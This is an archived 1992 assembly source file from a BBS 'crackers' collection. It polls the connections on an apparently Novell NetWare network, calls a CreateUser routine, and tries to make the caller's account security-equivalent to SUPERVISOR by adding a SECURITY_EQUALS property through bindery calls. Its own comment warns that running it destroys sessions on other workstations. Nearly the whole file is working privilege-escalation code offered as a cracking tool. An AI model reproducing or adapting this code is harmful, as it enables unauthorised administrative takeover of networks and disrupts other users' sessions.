home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
BBS 1
/
BBS#1.iso
/
crackers
/
addsecur.arj
/
CONN.ASM
< prev
next >
Wrap
Assembly Source File
|
1992-08-13
|
2KB
|
136 lines
;********************************************************
; Procedure for polling users and attempt change security
; for caller stantion
; WARNING! Call this function destroyed all session
; on other workstantion
;********************************************************
assume cs:code,ds:code
code segment word public 'CODE'
public Polling
Polling proc near
mov ax,cs
mov ds,ax
mov es,ax
mov dx,1
@@1:
mov ConnNum,dl
mov si,offset ConnReq
mov di,offset ConRep
mov ah,0E3h
int 21h
mov ax,word ptr Type@
or ax,ax
je @@7
mov AddrCon,dl
mov si,offset AddrReq
mov di,offset AddrRep
mov word ptr [di],12
mov ah,0E3h
int 21h
mov si,offset AddrRep+1
mov byte ptr [si],dl
mov ah,0DCh
int 21h
cmp dl,al
je @@7
push dx
extrn CreateUser
call near ptr CreateUser
pop dx
mov ax,cs
mov es,ax
mov ds,ax
; Get MY name
mov ah,0DCh
int 21h
mov AskConn,al
mov si,offset Ask
mov di,offset Reply
mov ah,0E3h
int 21h
mov di,offset EquName
mov si,offset Reply+6
movsw
stosb
@@2:
lodsb
or al,al
je @@3
stosb
jmp short @@2
@@3:
mov ax,di
sub ax,offset EquName+3
mov [EquName+2],al
mov si,offset SecTst
mov cx,29
rep movsb
mov ax,di
mov si,offset EquReq
sub ax,si
sub ax,2
mov word ptr [si],ax
mov di,offset EquRep
mov ah,0E3h
int 21h
or al,al
jne @@7
clc
ret
@@7:
inc dx
cmp dx,64
jae @@8
jmp @@1
@@8:
stc
ret
Polling endp
Ask dw 2
db 16h
AskConn db 0
Reply dw 62
db 62 dup(?)
SecTst db 0Fh
db 'SECURITY_EQUALS'
db 0,1
db 0Ah
db 'SUPERVISOR'
ConnReq dw 2
db 22
ConnNum db ?
ConRep dw 62
Id db ?,?,?,?
Type@ db ?,?
Name@ db 56 dup(?)
AddrReq dw 2
db 19
AddrCon db ?
AddrRep dw 12
Net db ?,?,?,?
Addr db ?,?,?,?,?,?
Socket db ?,?
EquReq dw 0
db 67
EquName db 100 dup(0)
EquRep dw 0
code ends
end